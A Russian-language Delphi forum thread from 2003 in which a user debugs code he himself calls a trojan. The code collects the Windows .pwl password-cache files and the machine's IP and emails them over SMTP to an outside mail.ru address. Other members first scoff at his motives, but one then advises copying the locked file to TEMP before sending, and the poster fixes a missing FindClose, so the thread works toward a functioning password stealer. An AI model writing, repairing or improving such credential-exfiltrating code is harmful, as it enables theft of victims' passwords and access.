Не может открыть PWLку.

← →
grab3 © (2003-01-10 17:22) [0]

>ГЫ :) Нехороший ты парень :). И никто тут помогать таким как ты небудет :). ГЫЫЫЫЫЫЫЫЫ :)

>Ну и скажи, "добрый" человек: ЗАЧЕМ ТЕБЕ PWL-КА??? Любоваться на неё будешь? Или ты пароли коллекцианируешь? Типа кулл хацкер, что-ли? А что-то полезное писать не проболал?

Уважаемые мастера! Я не в коем разе не собираюсь использовать этот троян по назначению(разве что на себе самом :-). Никогда не считал себя "кул хацкером". Тот, кто думает так о себе и есть настоящий ламер. По моим соображениям это глупо. Кроме того я не хочу тратить свои силы и время на то чтобы заполучив пароли обходить АОН провайдера и пр. А потом еще и получать резиновой дубинкой по голове при неудаче.

Дело в том, что я просто учусь, как и все когда то. И кстати уже довольно многому научился благодаря всем ВАМ. На Паскале, а тем более на Дельфи я никогда не пытался программировать и даже синтаксиса то толком не знал. И только в начале месяца случайно, "от нефиг делать" поставил Дельфи и что то более или менее стало получаться.

С уважением и благодарностью,
Бенкевич Антон Леонидович

p/s/:Так не откажи те же мне во внимании уважаемые мастера

Прошу прощения модераторов за лирическое отступление не по теме...:-)

Так вот:
if NMSMTP1.Connected then //если подключились
begin
NMSMTP1.PostMessage.FromAddress :="Trojan@mail.ru";
NMSMTP1.PostMessage.FromName := "PASSWORDS";
NMSMTP1.PostMessage.ToAddress.Add("tome@mail.ru");
NMSMTP1.PostMessage.Body.Add("Ip: "+NMSMTP1.LocalIP);
NMSMTP1.PostMessage.Subject := "First Trojan";

firsts:=findfirstfile(pchar(windir+"\"+"*.pwl") ,ff);
nmsmtp1.PostMessage.Attachments.Add(ff.cFileName);
while findnextfile(firsts,nf) do
begin
findnextfile(firsts,nf);
nmsmtp1.PostMessage.Attachments.Add(windir+"\"+ff.cFileName);

end;
end;
//
try
NMSMTP1.SendMail; // посылаем письмо
except
form1.Close;
end;

При посылке мыла ругается: "Can"t open такойто.pwl". В чем может быть дело?
windir+"\"+ff.cFileName - "эта конструкция показывает совершенно корректный путь к файлу...

Тут говорилось, что PWL виндами открыт постоянно, ноя ведь его читаю, а не записываю в него...
Вобще он раньше открывался, а сейчас не хотит.

← →
flipper (2003-01-10 17:36) [1]

У меня такая же фигня когда то была, тока забыл где исходник валяется...

← →
Zemal © (2003-01-10 17:36) [2]

Попробуй сначала скопировать этот файл в какой-нибудь каталог, т.к., видимо, во время отправки(а это дело не быстрое) файл изменяется. Копирни его в TEMP, затем отправляй :).

← →
grab3 © (2003-01-10 17:53) [3]

До меня видимо дошло. Поиск надо закрыть, но он ругаться начинает по поводу типов. Types of actual and formal var params. must be ident.

while findnextfile(firsts,nf) do
begin
findnextfile(firsts,nf);
nmsmtp1.PostMessage.Attachments.Add(windir+"\"+ff.cFileName);
end;
findclose(firsts);

Точно, поиск надо закрывать :). Это как два пальца об асфальт :).

Проверь мыло

Не может открыть PWLку. Найти похожие ветки